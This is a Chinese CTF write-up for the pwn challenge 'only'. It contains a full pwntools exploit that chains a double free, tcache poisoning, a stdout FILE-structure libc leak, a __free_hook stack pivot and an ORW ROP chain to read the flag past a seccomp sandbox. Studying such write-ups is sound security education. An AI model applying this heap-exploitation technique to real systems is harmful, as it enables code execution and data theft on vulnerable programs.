2022拟态防御pwn(only)

题目分析

 

在delete函数里存在double free漏洞。

这个函数允许我们造成一次double free。

由于本题限制我们只能控制一个指针,但是因为开启沙箱,导致tcachebin里有许多可以用的空闲chunk,那么我们可以通过double free漏洞修改空闲指针为IO结构体,然后修改IO泄露libc,有1/256的概率成功,在本地调试的话关闭地址随机化就行了。泄露之后通过改freehook为gadget实现迁移执行orw。

exp

from pwn import *
context.log_level='debug'
r=process('./only')
elf=ELF('./only')
libc=elf.libc

def backdoor():
    r.sendlineafter("Choice >> ",'0')

def add(size,content):
    r.sendlineafter("Choice >> ",'1')
    r.sendlineafter("Size:",str(size))
    r.sendafter("Content:",content)
    
def delete():
    r.sendlineafter("Choice >> ",'2')
    
add(0xe0,'\n')
delete()
backdoor()
delete()
add(0xe0,'\xf0\xd7\n')
add(0xe0,'\xf0\xd7\n')
add(0xe0,p64(0)+p64(0x491)+'\x00\xd8\n')
add(0x60,'\n')
delete()
add(0x20,'\xa0\x16\n')
add(0x60,'\n')
payload=p64(0xfbad1887)+p64(0)*3+'\x00\n'
add(0x60,payload)
leak=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print("leak->",hex(leak))
libc_base=leak-libc.sym['_IO_2_1_stdin_']
print("libc_base->",hex(libc_base))

pop_rax=libc_base+0x0000000000047400
pop_rdi=libc_base+0x0000000000023b72
pop_rsi=libc_base+0x000000000002604f
pop_rdx_r12=libc_base+0x0000000000119241
pop_rbp=libc_base+0x00000000000226c0
free_hook=libc_base+libc.sym['__free_hook']
open=libc_base+libc.sym['open']
read=libc_base+libc.sym['read']
write=libc_base+libc.sym['write']
gadget=libc_base+0x00000000001518B0#mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
mov_rsp_rdx=libc_base+0x00000005b500
gets=libc_base+libc.sym['gets']
add(0xe0,p64(0)*7+p64(0x81)+p64(free_hook)+'\n')#0x80->free_hook
add(0x70,p64(0)+'\n')
print("pop_rbp->",hex(pop_rbp))
add(0x70,p64(gadget)+p64(free_hook+0x10)+p64(pop_rbp)+p64(free_hook)+p64(gets)+p64(0)+p64(mov_rsp_rdx)+'\n')
flagaddr=libc_base+0x1eeef0
payload='a'*0x20+p64(free_hook)+p64(pop_rdi)+p64(flagaddr)+p64(pop_rsi)+p64(0)+p64(open)+p64(pop_rdi)
payload+=p64(3)+p64(pop_rsi)+p64(flagaddr)+p64(pop_rdx_r12)+p64(0x30)*2+p64(read)+p64(pop_rdi)
payload+=p64(1)+p64(write)+'flag\x00'
gdb.attach(r)
delete()
r.sendline(payload)
r.interactive()

 分析

add(0xe0,'\n')
delete()
backdoor()
delete()

制造double free

add(0xe0,'\xf0\xd7\n')
add(0xe0,'\xf0\xd7\n')
add(0xe0,p64(0)+p64(0x491)+'\x00\xd8\n')
add(0x60,'\n')
delete()

然后修改指针,使其指向0x55555555d7f0堆块,申请之后将原本在0x70空闲chunk的0x55555555d800堆块修改size为unsortedbin满足的大小,并且将指针指向自己,然后释放

 

 

add(0x20,'\xa0\x16\n')
add(0x60,'\n')
payload=p64(0xfbad1887)+p64(0)*3+'\x00\n'
add(0x60,payload)
leak=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print("leak->",hex(leak))
libc_base=leak-libc.sym['_IO_2_1_stdin_']
print("libc_base->",hex(libc_base))

 然后从unsortedbin中申请0x20堆块并且修改后两位为stdout,此时0x70链就连上了stdout,然后申请两个堆块后将stdout结构体修改从而泄露libc。

 此时我们注意到:大堆块覆盖掉了在tcachebin里的堆块,那我们可以通过申请一个堆块来改写这个在0x80空闲chunk的指针使其指向freehook,从而向freehook里写入gadget。

 

add(0xe0,p64(0)*7+p64(0x81)+p64(free_hook)+'\n')#0x80->free_hook
add(0x70,p64(0)+'\n')
print("pop_rbp->",hex(pop_rbp))
add(0x70,p64(gadget)+p64(free_hook+0x10)+p64(pop_rbp)+p64(free_hook)+p64(gets)+p64(0)+p64(mov_rsp_rdx)+'\n')
flagaddr=libc_base+0x1eeef0
payload='a'*0x20+p64(free_hook)+p64(pop_rdi)+p64(flagaddr)+p64(pop_rsi)+p64(0)+p64(open)+p64(pop_rdi)
payload+=p64(3)+p64(pop_rsi)+p64(flagaddr)+p64(pop_rdx_r12)+p64(0x30)*2+p64(read)+p64(pop_rdi)
payload+=p64(1)+p64(write)+'flag\x00'
gdb.attach(r)
delete()
r.sendline(payload)
r.interactive()

 此时freehook里的结构

 

动态调试

si进入free函数调用

看到此时rax和rdi都为freehook

 

 

 

开始执行我们的gadget,分析一下这个gadget。首先将rdi+8位置的值(free_hook+0x10) 给rdx,然后将rsp迁移到gadget,最后执行rdx+0x20(mov_rsp_rdx)

si步入

将rsp迁移至rdx(pop_rbp)的位置,执行pop rbp之后rsp=rsp+8(gets函数),然后ret执行gets。

 

 

 payload构造

由于在gets函数最后

 先让rsp+8,然后执行四个pop,所以我们的orw链应该从0x28处开始写。然后执行ret之后正好返回我们的orw链,从而劫持程序执行流打印flag。

 

 flag地址的确定

 通过查看栈找到我们写的flag位置,然后减去libc(因为我们的orw链在freehook中,所以与libc偏移固定)。

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值